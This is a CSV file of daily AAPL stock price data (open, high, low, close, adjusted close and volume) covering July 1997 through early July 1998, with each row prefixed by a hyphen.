-1997-07-02,0.4732142984867096,0.4776785671710968,0.4642857015132904,0.4665178656578064,0.4049566090106964,62490400.0,AAPL
-1997-07-03,0.46875,0.4955357015132904,0.4642857015132904,0.4888392984867096,0.4243324100971222,46695600.0,AAPL
-1997-07-07,0.4977678656578064,0.5089285969734192,0.4910714328289032,0.4933035671710968,0.4282076060771942,47868800.0,AAPL
-1997-07-08,0.4955357015132904,0.5,0.4888392984867096,0.4910714328289032,0.4262700080871582,23923200.0,AAPL
-1997-07-09,0.4933035671710968,0.4955357015132904,0.4866071343421936,0.4888392984867096,0.4243324100971222,35504000.0,AAPL
-1997-07-10,0.4598214328289032,0.4776785671710968,0.4553571343421936,0.4732142984867096,0.4107692837715149,123127200.0,AAPL
-1997-07-11,0.4776785671710968,0.5535714030265808,0.4754464328289032,0.5424107313156128,0.47083449363708496,183736000.0,AAPL
-1997-07-14,0.5446428656578064,0.5580357313156128,0.53125,0.5580357313156128,0.484397828578949,102751600.0,AAPL
-1997-07-15,0.5625,0.5714285969734192,0.5580357313156128,0.5691964030265808,0.49408596754074097,104588400.0,AAPL
-1997-07-16,0.5647321343421936,0.5892857313156128,0.5580357313156128,0.5870535969734192,0.50958651304245,111563200.0,AAPL
-1997-07-17,0.6071428656578064,0.6473214030265808,0.5870535969734192,0.625,0.5425255298614502,186566800.0,AAPL
-1997-07-18,0.6383928656578064,0.640625,0.609375,0.6194196343421936,0.5376814603805542,79391200.0,AAPL
-1997-07-21,0.6272321343421936,0.6316964030265808,0.5714285969734192,0.5770089030265808,0.5008673071861267,88729200.0,AAPL
-1997-07-22,0.5848214030265808,0.5959821343421936,0.5825892686843872,0.5915178656578064,0.513461709022522,57834000.0,AAPL
-1997-07-23,0.5982142686843872,0.6026785969734192,0.5714285969734192,0.5758928656578064,0.4998985230922699,35322000.0,AAPL
-1997-07-24,0.5758928656578064,0.5758928656578064,0.5580357313156128,0.5647321343421936,0.49021053314208984,33373200.0,AAPL
-1997-07-25,0.5669642686843872,0.5915178656578064,0.5625,0.5803571343421936,0.5037736296653748,54490800.0,AAPL
-1997-07-28,0.5870535969734192,0.5892857313156128,0.5803571343421936,0.5870535969734192,0.50958651304245,27627600.0,AAPL
-1997-07-29,0.5870535969734192,0.59375,0.5848214030265808,0.5892857313156128,0.5115240216255188,17810800.0,AAPL
-1997-07-30,0.6049107313156128,0.6316964030265808,0.5982142686843872,0.6205357313156128,0.5386502742767334,93576000.0,AAPL
-1997-07-31,0.6205357313156128,0.6339285969734192,0.6160714030265808,0.625,0.5425255298614502,65954000.0,AAPL
-1997-08-01,0.6294642686843872,0.6852678656578064,0.6272321343421936,0.6852678656578064,0.594840407371521,120478400.0,AAPL
-1997-08-04,0.6852678656578064,0.7075892686843872,0.6852678656578064,0.7053571343421936,0.6122787594795227,152829600.0,AAPL
-1997-08-05,0.7120535969734192,0.7142857313156128,0.6958705186843872,0.7053571343421936,0.6122787594795227,61782000.0,AAPL
-1997-08-06,0.9017857313156128,0.9910714030265808,0.8928571343421936,0.9397321343421936,0.8157257437705994,1047620000.0,AAPL
-1997-08-07,1.0267857313156128,1.0558035373687744,1.0133928060531616,1.0424107313156128,0.9048551917076111,938859600.0,AAPL
-1997-08-08,0.9933035969734192,1.0133928060531616,0.9330357313156128,0.9575892686843872,0.8312264680862427,453541200.0,AAPL
-1997-08-11,0.9397321343421936,0.9441964030265808,0.8392857313156128,0.8772321343421936,0.7614734172821045,387749600.0,AAPL
-1997-08-12,0.859375,0.8660714030265808,0.78125,0.7879464030265808,0.6839699149131775,262099600.0,AAPL
-1997-08-13,0.7946428656578064,0.8526785969734192,0.7299107313156128,0.84375,0.7324094772338867,300356000.0,AAPL
-1997-08-14,0.84375,0.8660714030265808,0.8102678656578064,0.8214285969734192,0.7130334973335266,108612000.0,AAPL
-1997-08-15,0.8258928656578064,0.8370535969734192,0.8147321343421936,0.8303571343421936,0.7207838892936707,65240000.0,AAPL
-1997-08-18,0.8325892686843872,0.8482142686843872,0.8125,0.84375,0.7324094772338867,54460000.0,AAPL
-1997-08-19,0.8459821343421936,0.875,0.8325892686843872,0.8727678656578064,0.7575981616973877,72290400.0,AAPL
-1997-08-20,0.8727678656578064,0.8973214030265808,0.8638392686843872,0.8794642686843872,0.7634109854698181,81076800.0,AAPL
-1997-08-21,0.875,0.8816964030265808,0.8526785969734192,0.8571428656578064,0.744035005569458,64820000.0,AAPL
-1997-08-22,0.8370535969734192,0.8571428656578064,0.8348214030265808,0.84375,0.7324094772338867,56907200.0,AAPL
-1997-08-25,0.84375,0.8459821343421936,0.8191964030265808,0.8236607313156128,0.7149711847305298,34658400.0,AAPL
-1997-08-26,0.8080357313156128,0.8214285969734192,0.7901785969734192,0.7946428656578064,0.689782440662384,56551600.0,AAPL
-1997-08-27,0.7991071343421936,0.8125,0.78125,0.8102678656578064,0.7033454775810242,47658800.0,AAPL
-1997-08-28,0.7901785969734192,0.8035714030265808,0.7857142686843872,0.7857142686843872,0.6820321679115295,23917600.0,AAPL
-1997-08-29,0.7790178656578064,0.7857142686843872,0.7678571343421936,0.7767857313156128,0.674281895160675,27417600.0,AAPL
-1997-09-02,0.7857142686843872,0.8058035969734192,0.7834821343421936,0.7991071343421936,0.6936576962471008,46510800.0,AAPL
-1997-09-03,0.7991071343421936,0.8303571343421936,0.796875,0.8035714030265808,0.6975328922271729,71033200.0,AAPL
-1997-09-04,0.8058035969734192,0.8169642686843872,0.7946428656578064,0.8035714030265808,0.6975328922271729,30634800.0,AAPL
-1997-09-05,0.8080357313156128,0.8169642686843872,0.7857142686843872,0.7924107313156128,0.6878448724746704,34176800.0,AAPL
-1997-09-08,0.7946428656578064,0.7946428656578064,0.765625,0.7678571343421936,0.6665313839912415,43789200.0,AAPL
-1997-09-09,0.7611607313156128,0.78125,0.7589285969734192,0.7790178656578064,0.6762192845344543,39757200.0,AAPL
-1997-09-10,0.7767857313156128,0.8258928656578064,0.7745535969734192,0.8191964030265808,0.7110956907272339,68516000.0,AAPL
-1997-09-11,0.8169642686843872,0.8214285969734192,0.7879464030265808,0.7991071343421936,0.6936576962471008,52469200.0,AAPL
-1997-09-12,0.7924107313156128,0.7946428656578064,0.765625,0.7879464030265808,0.6839699149131775,28420000.0,AAPL
-1997-09-15,0.78125,0.7901785969734192,0.7678571343421936,0.7678571343421936,0.6665313839912415,24228400.0,AAPL
-1997-09-16,0.7879464030265808,0.7907366156578064,0.7767857313156128,0.7834821343421936,0.6800944805145264,33555200.0,AAPL
-1997-09-17,0.7857142686843872,0.7857142686843872,0.7745535969734192,0.7790178656578064,0.6762192845344543,21691600.0,AAPL
-1997-09-18,0.7678571343421936,0.8035714030265808,0.7678571343421936,0.796875,0.6917199492454529,42291200.0,AAPL
-1997-09-19,0.7924107313156128,0.7924107313156128,0.7767857313156128,0.7834821343421936,0.6800944805145264,23732800.0,AAPL
-1997-09-22,0.7901785969734192,0.8236607313156128,0.7857142686843872,0.8147321343421936,0.7072207927703857,50092000.0,AAPL
-1997-09-23,0.7946428656578064,0.7946428656578064,0.7745535969734192,0.7767857313156128,0.674281895160675,50134000.0,AAPL
-1997-09-24,0.7745535969734192,0.7767857313156128,0.7633928656578064,0.7678571343421936,0.6665313839912415,55608000.0,AAPL
-1997-09-25,0.7611607313156128,0.7767857313156128,0.75,0.7544642686843872,0.6549058556556702,55846000.0,AAPL
-1997-09-26,0.7678571343421936,0.7834821343421936,0.7544642686843872,0.7611607313156128,0.6607186198234558,52080000.0,AAPL
-1997-09-29,0.7745535969734192,0.7946428656578064,0.7700892686843872,0.7879464030265808,0.6839699149131775,41809600.0,AAPL
-1997-09-30,0.7857142686843872,0.796875,0.7745535969734192,0.7745535969734192,0.6723442077636719,35142800.0,AAPL
-1997-10-01,0.7745535969734192,0.7767857313156128,0.7633928656578064,0.7689732313156128,0.6675001978874207,32617200.0,AAPL
-1997-10-02,0.765625,0.7857142686843872,0.7633928656578064,0.7834821343421936,0.6800944805145264,33852000.0,AAPL
-1997-10-03,0.7857142686843872,0.7946428656578064,0.7745535969734192,0.7901785969734192,0.6859074831008911,40558000.0,AAPL
-1997-10-06,0.7924107313156128,0.7946428656578064,0.7745535969734192,0.7834821343421936,0.6800944805145264,23324000.0,AAPL
-1997-10-07,0.78125,0.7857142686843872,0.7790178656578064,0.7790178656578064,0.6762192845344543,27322400.0,AAPL
-1997-10-08,0.7767857313156128,0.7790178656578064,0.7611607313156128,0.7678571343421936,0.6665313839912415,27210400.0,AAPL
-1997-10-09,0.7589285969734192,0.8035714030265808,0.7566964030265808,0.7767857313156128,0.674281895160675,46832800.0,AAPL
-1997-10-10,0.7678571343421936,0.8125,0.7678571343421936,0.8102678656578064,0.7033454775810242,67600400.0,AAPL
-1997-10-13,0.8125,0.8169642686843872,0.7924107313156128,0.8102678656578064,0.7033454775810242,39656400.0,AAPL
-1997-10-14,0.8102678656578064,0.8125,0.7924107313156128,0.8102678656578064,0.7033454775810242,41454000.0,AAPL
-1997-10-15,0.7901785969734192,0.8839285969734192,0.7901785969734192,0.8504464030265808,0.7382223606109619,202717200.0,AAPL
-1997-10-16,0.7544642686843872,0.7879464030265808,0.7455357313156128,0.7678571343421936,0.6665313839912415,184797200.0,AAPL
-1997-10-17,0.7544642686843872,0.7544642686843872,0.7098214030265808,0.71875,0.623904287815094,109667600.0,AAPL
-1997-10-20,0.71875,0.7209821343421936,0.6651785969734192,0.6674107313156128,0.5793396830558777,102958800.0,AAPL
-1997-10-21,0.6741071343421936,0.6897321343421936,0.6674107313156128,0.6808035969734192,0.5909652709960938,118818000.0,AAPL
-1997-10-22,0.6808035969734192,0.6875,0.6607142686843872,0.6629464030265808,0.5754646062850952,37794400.0,AAPL
-1997-10-23,0.6428571343421936,0.6495535969734192,0.6339285969734192,0.6339285969734192,0.550275981426239,46695600.0,AAPL
-1997-10-24,0.6473214030265808,0.65625,0.5892857313156128,0.5915178656578064,0.513461709022522,97059200.0,AAPL
-1997-10-27,0.5982142686843872,0.6473214030265808,0.5982142686843872,0.5982142686843872,0.5192744135856628,82339600.0,AAPL
-1997-10-28,0.5714285969734192,0.6607142686843872,0.5669642686843872,0.6473214030265808,0.5619014501571655,85828400.0,AAPL
-1997-10-29,0.6584821343421936,0.6607142686843872,0.6160714030265808,0.625,0.5425255298614502,44396800.0,AAPL
-1997-10-30,0.609375,0.6272321343421936,0.5892857313156128,0.5892857313156128,0.5115240216255188,47238800.0,AAPL
-1997-10-31,0.6205357313156128,0.6205357313156128,0.59375,0.6082589030265808,0.5279937386512756,66771600.0,AAPL
-1997-11-03,0.6272321343421936,0.6339285969734192,0.609375,0.6205357313156128,0.5386502742767334,31502800.0,AAPL
-1997-11-04,0.6339285969734192,0.6473214030265808,0.625,0.640625,0.5560886859893799,42148400.0,AAPL
-1997-11-05,0.6517857313156128,0.6651785969734192,0.6450892686843872,0.65625,0.5696516633033752,96779200.0,AAPL
-1997-11-06,0.6741071343421936,0.6964285969734192,0.6741071343421936,0.6785714030265808,0.5890277028083801,154271600.0,AAPL
-1997-11-07,0.6741071343421936,0.7142857313156128,0.6696428656578064,0.7053571343421936,0.6122787594795227,198903600.0,AAPL
-1997-11-10,0.75,0.7678571343421936,0.6607142686843872,0.6674107313156128,0.5793396830558777,349560400.0,AAPL
-1997-11-11,0.6785714030265808,0.6785714030265808,0.6473214030265808,0.65625,0.5696516633033752,83120800.0,AAPL
-1997-11-12,0.6450892686843872,0.6607142686843872,0.6272321343421936,0.6294642686843872,0.5464007258415222,52015600.0,AAPL
-1997-11-13,0.6428571343421936,0.6450892686843872,0.625,0.6428571343421936,0.5580261945724487,64380400.0,AAPL
-1997-11-14,0.6517857313156128,0.6607142686843872,0.6428571343421936,0.6584821343421936,0.5715893507003784,33759600.0,AAPL
-1997-11-17,0.6741071343421936,0.6763392686843872,0.6545758843421936,0.6607142686843872,0.5735270977020264,51256800.0,AAPL
-1997-11-18,0.6607142686843872,0.6607142686843872,0.6450892686843872,0.6450892686843872,0.5599637031555176,36660400.0,AAPL
-1997-11-19,0.6383928656578064,0.6540178656578064,0.6383928656578064,0.6517857313156128,0.5657765865325928,19896800.0,AAPL
-1997-11-20,0.6495535969734192,0.6651785969734192,0.6473214030265808,0.6607142686843872,0.5735270977020264,32043200.0,AAPL
-1997-11-21,0.6651785969734192,0.6674107313156128,0.6428571343421936,0.6495535969734192,0.5638390183448792,24444000.0,AAPL
-1997-11-24,0.6272321343421936,0.6428571343421936,0.625,0.6294642686843872,0.5464007258415222,39337200.0,AAPL
-1997-11-25,0.6316964030265808,0.6383928656578064,0.6026785969734192,0.6205357313156128,0.5386502742767334,51357600.0,AAPL
-1997-11-26,0.6205357313156128,0.6316964030265808,0.6160714030265808,0.625,0.5425255298614502,15103200.0,AAPL
-1997-11-28,0.6294642686843872,0.6383928656578064,0.6227678656578064,0.6339285969734192,0.550275981426239,10329200.0,AAPL
-1997-12-01,0.6316964030265808,0.640625,0.6160714030265808,0.6339285969734192,0.550275981426239,21809200.0,AAPL
-1997-12-02,0.6205357313156128,0.625,0.5669642686843872,0.5669642686843872,0.492148220539093,99204000.0,AAPL
-1997-12-03,0.5736607313156128,0.5758928656578064,0.5602678656578064,0.5625,0.4882727861404419,85764000.0,AAPL
-1997-12-04,0.5714285969734192,0.5714285969734192,0.5580357313156128,0.5580357313156128,0.484397828578949,49910000.0,AAPL
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-1997-12-09,0.5535714030265808,0.5602678656578064,0.5357142686843872,0.5446428656578064,0.4727722108364105,60762800.0,AAPL
-1997-12-10,0.5379464030265808,0.5379464030265808,0.5178571343421936,0.5267857313156128,0.4572714567184448,48720000.0,AAPL
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-1997-12-16,0.5,0.5133928656578064,0.5,0.5111607313156128,0.44370830059051514,46407200.0,AAPL
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-1997-12-18,0.5,0.5,0.4910714328289032,0.4933035671710968,0.4282076060771942,50512000.0,AAPL
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-1997-12-22,0.4955357015132904,0.5,0.4709821343421936,0.4754464328289032,0.4127069115638733,39869200.0,AAPL
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-1997-12-24,0.4642857015132904,0.4732142984867096,0.4642857015132904,0.46875,0.40689411759376526,24458000.0,AAPL
-1997-12-26,0.4665178656578064,0.4776785671710968,0.4642857015132904,0.4754464328289032,0.4127069115638733,26969600.0,AAPL
-1997-12-29,0.4754464328289032,0.4799107015132904,0.4598214328289032,0.46875,0.40689411759376526,69549200.0,AAPL
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-1997-12-31,0.46875,0.4866071343421936,0.4620535671710968,0.46875,0.40689411759376526,101589600.0,AAPL
-1998-01-02,0.4866071343421936,0.5803571343421936,0.4821428656578064,0.5803571343421936,0.5037736296653748,179527600.0,AAPL
-1998-01-05,0.5892857313156128,0.5915178656578064,0.5424107313156128,0.5669642686843872,0.492148220539093,162968400.0,AAPL
-1998-01-06,0.5691964030265808,0.7142857313156128,0.5267857313156128,0.6763392686843872,0.5870900750160217,453118400.0,AAPL
-1998-01-07,0.671875,0.6785714030265808,0.6183035969734192,0.625,0.5425255298614502,260405600.0,AAPL
-1998-01-08,0.6227678656578064,0.6651785969734192,0.6049107313156128,0.6495535969734192,0.5638390183448792,193505200.0,AAPL
-1998-01-09,0.6473214030265808,0.6919642686843872,0.625,0.6495535969734192,0.5638390183448792,221636800.0,AAPL
-1998-01-12,0.6227678656578064,0.6651785969734192,0.6116071343421936,0.6517857313156128,0.5657765865325928,129099600.0,AAPL
-1998-01-13,0.6651785969734192,0.7008928656578064,0.6607142686843872,0.6964285969734192,0.6045284867286682,159213600.0,AAPL
-1998-01-14,0.7098214030265808,0.7120535969734192,0.6875,0.7053571343421936,0.6122787594795227,147316400.0,AAPL
-1998-01-15,0.6852678656578064,0.7053571343421936,0.6651785969734192,0.6852678656578064,0.594840407371521,139818000.0,AAPL
-1998-01-16,0.6941964030265808,0.6941964030265808,0.6674107313156128,0.671875,0.5832148194313049,61588800.0,AAPL
-1998-01-20,0.6808035969734192,0.6897321343421936,0.6651785969734192,0.6808035969734192,0.5909652709960938,60390400.0,AAPL
-1998-01-21,0.6696428656578064,0.6808035969734192,0.6629464030265808,0.6752232313156128,0.5861213803291321,47552400.0,AAPL
-1998-01-22,0.6674107313156128,0.7053571343421936,0.6651785969734192,0.6875,0.5967780351638794,82432000.0,AAPL
-1998-01-23,0.6919642686843872,0.703125,0.6875,0.6964285969734192,0.6045284867286682,58290400.0,AAPL
-1998-01-26,0.6941964030265808,0.6986607313156128,0.671875,0.6941964030265808,0.6025909185409546,36610000.0,AAPL
-1998-01-27,0.6852678656578064,0.703125,0.6785714030265808,0.6830357313156128,0.5929027795791626,28058800.0,AAPL
-1998-01-28,0.6852678656578064,0.6919642686843872,0.6651785969734192,0.6852678656578064,0.594840407371521,37780400.0,AAPL
-1998-01-29,0.6763392686843872,0.6830357313156128,0.6607142686843872,0.6607142686843872,0.5735270977020264,52970400.0,AAPL
-1998-01-30,0.6540178656578064,0.6741071343421936,0.6517857313156128,0.6540178656578064,0.5677141547203064,40611200.0,AAPL
-1998-02-02,0.6607142686843872,0.6607142686843872,0.6205357313156128,0.6316964030265808,0.5483384132385254,159185600.0,AAPL
-1998-02-03,0.6316964030265808,0.6651785969734192,0.6316964030265808,0.6540178656578064,0.5677141547203064,100654400.0,AAPL
-1998-02-04,0.6450892686843872,0.6607142686843872,0.6428571343421936,0.6517857313156128,0.5657765865325928,42548800.0,AAPL
-1998-02-05,0.6517857313156128,0.6607142686843872,0.6428571343421936,0.6540178656578064,0.5677141547203064,59567200.0,AAPL
-1998-02-06,0.65625,0.6674107313156128,0.6517857313156128,0.6607142686843872,0.5735270977020264,50584800.0,AAPL
-1998-02-09,0.65625,0.6964285969734192,0.65625,0.6852678656578064,0.594840407371521,123667600.0,AAPL
-1998-02-10,0.6830357313156128,0.6986607313156128,0.6808035969734192,0.6941964030265808,0.6025909185409546,105504000.0,AAPL
-1998-02-11,0.6964285969734192,0.6964285969734192,0.6741071343421936,0.6785714030265808,0.5890277028083801,52917200.0,AAPL
-1998-02-12,0.6830357313156128,0.6941964030265808,0.6808035969734192,0.6919642686843872,0.6006532311439514,50937600.0,AAPL
-1998-02-13,0.6852678656578064,0.7098214030265808,0.6785714030265808,0.6964285969734192,0.6045284867286682,51998800.0,AAPL
-1998-02-17,0.6964285969734192,0.7053571343421936,0.6964285969734192,0.7008928656578064,0.6084036827087402,45687600.0,AAPL
-1998-02-18,0.6986607313156128,0.7410714030265808,0.6986607313156128,0.734375,0.6374675035476685,123648000.0,AAPL
-1998-02-19,0.7455357313156128,0.7477678656578064,0.7142857313156128,0.7299107313156128,0.6335921883583069,99915200.0,AAPL
-1998-02-20,0.7321428656578064,0.734375,0.7075892686843872,0.7142857313156128,0.6200292706489563,81354000.0,AAPL
-1998-02-23,0.71875,0.7723214030265808,0.7142857313156128,0.7589285969734192,0.6587809920310974,119372400.0,AAPL
-1998-02-24,0.7611607313156128,0.7633928656578064,0.7410714030265808,0.7611607313156128,0.6607186198234558,114147600.0,AAPL
-1998-02-25,0.7611607313156128,0.8125,0.7477678656578064,0.796875,0.6917199492454529,178166800.0,AAPL
-1998-02-26,0.796875,0.8415178656578064,0.78125,0.8392857313156128,0.7285343408584595,148783600.0,AAPL
-1998-02-27,0.8325892686843872,0.8526785969734192,0.8058035969734192,0.84375,0.7324094772338867,129900400.0,AAPL
-1998-03-02,0.8415178656578064,0.8415178656578064,0.7946428656578064,0.8125,0.7052832841873169,100111200.0,AAPL
-1998-03-03,0.78125,0.828125,0.7723214030265808,0.8258928656578064,0.7169086337089539,83518400.0,AAPL
-1998-03-04,0.8169642686843872,0.8839285969734192,0.8169642686843872,0.8727678656578064,0.7575981616973877,204456000.0,AAPL
-1998-03-05,0.8303571343421936,0.8660714030265808,0.8258928656578064,0.859375,0.745972752571106,168781200.0,AAPL
-1998-03-06,0.8526785969734192,0.875,0.8348214030265808,0.8727678656578064,0.7575981616973877,166616800.0,AAPL
-1998-03-09,0.8482142686843872,0.8683035969734192,0.8035714030265808,0.8125,0.7052832841873169,143732400.0,AAPL
-1998-03-10,0.8214285969734192,0.875,0.8191964030265808,0.859375,0.745972752571106,178225600.0,AAPL
-1998-03-11,0.8973214030265808,0.9352678656578064,0.8772321343421936,0.9330357313156128,0.8099132180213928,303584400.0,AAPL
-1998-03-12,0.9330357313156128,0.9642857313156128,0.9129464030265808,0.9642857313156128,0.8370392918586731,186090800.0,AAPL
-1998-03-13,0.9732142686843872,0.9732142686843872,0.9375,0.96875,0.8409145474433899,141540000.0,AAPL
-1998-03-16,0.96875,0.9732142686843872,0.9352678656578064,0.953125,0.827351450920105,100590000.0,AAPL
-1998-03-17,0.9464285969734192,0.953125,0.9241071343421936,0.9408482313156128,0.8166946172714233,102564000.0,AAPL
-1998-03-18,0.9285714030265808,0.9620535969734192,0.9285714030265808,0.9620535969734192,0.8351017236709595,69249600.0,AAPL
-1998-03-19,0.9598214030265808,0.9620535969734192,0.9486607313156128,0.9553571343421936,0.8292889595031738,40014800.0,AAPL
-1998-03-20,0.953125,0.9598214030265808,0.9285714030265808,0.9419642686843872,0.8176634311676025,53869200.0,AAPL
-1998-03-23,0.9263392686843872,0.9375,0.8794642686843872,0.9330357313156128,0.8099132180213928,103684000.0,AAPL
-1998-03-24,0.9419642686843872,1.0,0.9375,1.0,0.8680407404899597,168982800.0,AAPL
-1998-03-25,0.9866071343421936,0.9910714030265808,0.9419642686843872,0.9698660969734192,0.8418833613395691,96843600.0,AAPL
-1998-03-26,0.9553571343421936,0.9642857313156128,0.9441964030265808,0.9486607313156128,0.8234760165214539,50741600.0,AAPL
-1998-03-27,0.9508928656578064,0.9754464030265808,0.9419642686843872,0.9620535969734192,0.8351017236709595,63898800.0,AAPL
-1998-03-30,0.9553571343421936,0.9821428656578064,0.9553571343421936,0.9799107313156128,0.8506024479866028,62675200.0,AAPL
-1998-03-31,0.9799107313156128,0.9933035969734192,0.9732142686843872,0.9821428656578064,0.8525400161743164,66724000.0,AAPL
-1998-04-01,0.9799107313156128,0.9933035969734192,0.9665178656578064,0.9821428656578064,0.8525400161743164,46720800.0,AAPL
-1998-04-02,0.9754464030265808,0.9799107313156128,0.9620535969734192,0.9754464030265808,0.8467273116111755,48577200.0,AAPL
-1998-04-03,0.96875,0.9732142686843872,0.9575892686843872,0.9665178656578064,0.838977038860321,50766800.0,AAPL
-1998-04-06,0.9642857313156128,0.9642857313156128,0.9352678656578064,0.9375,0.8137882351875305,86898000.0,AAPL
-1998-04-07,0.921875,0.9285714030265808,0.8883928656578064,0.9107142686843872,0.7905372381210327,73175200.0,AAPL
-1998-04-08,0.9017857313156128,0.90625,0.8816964030265808,0.8928571343421936,0.7750362753868103,56299600.0,AAPL
-1998-04-09,0.8950892686843872,0.9241071343421936,0.8928571343421936,0.9151785969734192,0.7944125533103943,42576800.0,AAPL
-1998-04-13,0.9151785969734192,0.953125,0.8928571343421936,0.9441964030265808,0.8196009397506714,72074800.0,AAPL
-1998-04-14,0.9419642686843872,0.9732142686843872,0.9419642686843872,0.9620535969734192,0.8351017236709595,81961600.0,AAPL
-1998-04-15,0.9709821343421936,0.9821428656578064,0.9508928656578064,0.9799107313156128,0.8506024479866028,139378400.0,AAPL
-1998-04-16,1.0446428060531616,1.0580357313156128,1.0066964626312256,1.0223214626312256,0.8874166011810303,459488400.0,AAPL
-1998-04-17,1.0200892686843872,1.0223214626312256,0.9888392686843872,0.9977678656578064,0.8661032915115356,148041600.0,AAPL
-1998-04-20,0.9866071343421936,1.0535714626312256,0.984375,1.0357142686843872,0.8990421295166016,129444000.0,AAPL
-1998-04-21,1.0379464626312256,1.0401785373687744,1.0178571939468384,1.0357142686843872,0.8990421295166016,87007200.0,AAPL
-1998-04-22,1.0267857313156128,1.0357142686843872,0.9821428656578064,0.9821428656578064,0.8525400161743164,71237600.0,AAPL
-1998-04-23,0.9799107313156128,1.0357142686843872,0.9709821343421936,0.9888392686843872,0.858352780342102,118823600.0,AAPL
-1998-04-24,0.9910714030265808,1.0089285373687744,0.9821428656578064,0.9977678656578064,0.8661032915115356,53886000.0,AAPL
-1998-04-27,0.9553571343421936,0.9910714030265808,0.9553571343421936,0.9910714030265808,0.8602904677391052,102449200.0,AAPL
-1998-04-28,0.9955357313156128,1.0,0.9375,0.9620535969734192,0.8351017236709595,59292800.0,AAPL
-1998-04-29,0.9620535969734192,0.9799107313156128,0.9553571343421936,0.9642857313156128,0.8370392918586731,47384400.0,AAPL
-1998-04-30,0.9776785969734192,0.9866071343421936,0.9665178656578064,0.9776785969734192,0.8486648201942444,44987600.0,AAPL
-1998-05-01,0.9821428656578064,1.0089285373687744,0.9598214030265808,1.0,0.8680407404899597,46018000.0,AAPL
-1998-05-04,1.03125,1.0535714626312256,1.03125,1.0379464626312256,0.9009798765182495,142786000.0,AAPL
-1998-05-05,1.0446428060531616,1.0669642686843872,1.0401785373687744,1.0602678060531616,0.9203556180000305,104820800.0,AAPL
-1998-05-06,1.0669642686843872,1.0870535373687744,1.0446428060531616,1.0825892686843872,0.9397315979003906,224252000.0,AAPL
-1998-05-07,1.0915178060531616,1.09375,1.0669642686843872,1.078125,0.9358565807342529,138224800.0,AAPL
-1998-05-08,1.0736607313156128,1.0892857313156128,1.0691964626312256,1.0870535373687744,0.9436070322990417,67704000.0,AAPL
-1998-05-11,1.1026785373687744,1.1294642686843872,1.0982142686843872,1.1049107313156128,0.9591074585914612,166255600.0,AAPL
-1998-05-12,1.0915178060531616,1.0982142686843872,1.0691964626312256,1.0758928060531616,0.9339190125465393,64453200.0,AAPL
-1998-05-13,1.0736607313156128,1.1004464626312256,1.0580357313156128,1.0870535373687744,0.9436070322990417,78604400.0,AAPL
-1998-05-14,1.0848214626312256,1.0870535373687744,1.0625,1.0736607313156128,0.9319812655448914,40670000.0,AAPL
-1998-05-15,1.0736607313156128,1.0848214626312256,1.0446428060531616,1.0558035373687744,0.9164806604385376,68146400.0,AAPL
-1998-05-18,1.0491071939468384,1.0558035373687744,1.0133928060531616,1.0178571939468384,0.8835418224334717,58097200.0,AAPL
-1998-05-19,1.0334821939468384,1.0513392686843872,1.0290178060531616,1.0491071939468384,0.9106678366661072,54566400.0,AAPL
-1998-05-20,1.0580357313156128,1.0669642686843872,1.0267857313156128,1.0558035373687744,0.9164806604385376,47544000.0,AAPL
-1998-05-21,1.0558035373687744,1.0602678060531616,1.0223214626312256,1.03125,0.8951670527458191,32748800.0,AAPL
-1998-05-22,1.0267857313156128,1.0267857313156128,0.9754464030265808,0.9955357313156128,0.8641656041145325,66648400.0,AAPL
-1998-05-26,1.0022321939468384,1.0089285373687744,0.9508928656578064,0.953125,0.827351450920105,77943600.0,AAPL
-1998-05-27,0.9174107313156128,0.9575892686843872,0.9151785969734192,0.9553571343421936,0.8292889595031738,92548400.0,AAPL
-1998-05-28,0.9553571343421936,0.9955357313156128,0.9553571343421936,0.9799107313156128,0.8506024479866028,74622800.0,AAPL
-1998-05-29,0.9821428656578064,0.984375,0.9441964030265808,0.9508928656578064,0.8254138231277466,54180000.0,AAPL
-1998-06-01,0.9464285969734192,0.9866071343421936,0.9151785969734192,0.9375,0.8137882351875305,79923200.0,AAPL
-1998-06-02,0.9441964030265808,0.9754464030265808,0.9285714030265808,0.9598214030265808,0.8331640958786011,44825200.0,AAPL
-1998-06-03,0.96875,0.9732142686843872,0.9352678656578064,0.9397321343421936,0.8157257437705994,36285200.0,AAPL
-1998-06-04,0.9508928656578064,0.9598214030265808,0.921875,0.9575892686843872,0.8312264680862427,39034800.0,AAPL
-1998-06-05,0.9598214030265808,0.9732142686843872,0.9419642686843872,0.9598214030265808,0.8331640958786011,30830800.0,AAPL
-1998-06-08,0.9642857313156128,0.9888392686843872,0.9575892686843872,0.9732142686843872,0.8447895050048828,31656800.0,AAPL
-1998-06-09,0.9776785969734192,1.0178571939468384,0.9776785969734192,1.0089285373687744,0.8757910132408142,68936000.0,AAPL
-1998-06-10,1.0,1.0357142686843872,0.9866071343421936,1.0022321939468384,0.8699785470962524,57307600.0,AAPL
-1998-06-11,1.0066964626312256,1.0223214626312256,0.9933035969734192,0.9933035969734192,0.8622280955314636,45029600.0,AAPL
-1998-06-12,0.9866071343421936,1.0089285373687744,0.9776785969734192,1.0044642686843872,0.8719159364700317,55963600.0,AAPL
-1998-06-15,0.9732142686843872,1.0089285373687744,0.9732142686843872,0.9821428656578064,0.8525400161743164,34165600.0,AAPL
-1998-06-16,0.9888392686843872,1.0044642686843872,0.9754464030265808,1.0,0.8680407404899597,32421200.0,AAPL
-1998-06-17,1.0,1.0200892686843872,0.9977678656578064,1.0044642686843872,0.8719159364700317,46793600.0,AAPL
-1998-06-18,0.9910714030265808,1.0022321939468384,0.9709821343421936,0.9754464030265808,0.8467273116111755,29999200.0,AAPL
-1998-06-19,0.9776785969734192,0.9799107313156128,0.9553571343421936,0.9665178656578064,0.838977038860321,34389600.0,AAPL
-1998-06-22,0.9642857313156128,0.984375,0.9553571343421936,0.9776785969734192,0.8486648201942444,33642000.0,AAPL
-1998-06-23,0.9799107313156128,1.0044642686843872,0.9732142686843872,0.9933035969734192,0.8622280955314636,57764000.0,AAPL
-1998-06-24,0.9910714030265808,1.0223214626312256,0.9754464030265808,1.0089285373687744,0.8757910132408142,68448800.0,AAPL
-1998-06-25,1.0200892686843872,1.0290178060531616,1.0111607313156128,1.0200892686843872,0.885479211807251,47952800.0,AAPL
-1998-06-26,1.0178571939468384,1.0223214626312256,0.9910714030265808,1.0066964626312256,0.8738537430763245,27778800.0,AAPL
-1998-06-29,1.0089285373687744,1.0290178060531616,1.0022321939468384,1.0245535373687744,0.8893542289733887,41546400.0,AAPL
-1998-06-30,1.0223214626312256,1.0290178060531616,1.0044642686843872,1.0245535373687744,0.8893542289733887,32765600.0,AAPL
-1998-07-01,1.03125,1.0714285373687744,1.0178571939468384,1.0691964626312256,0.9281063079833984,78528800.0,AAPL
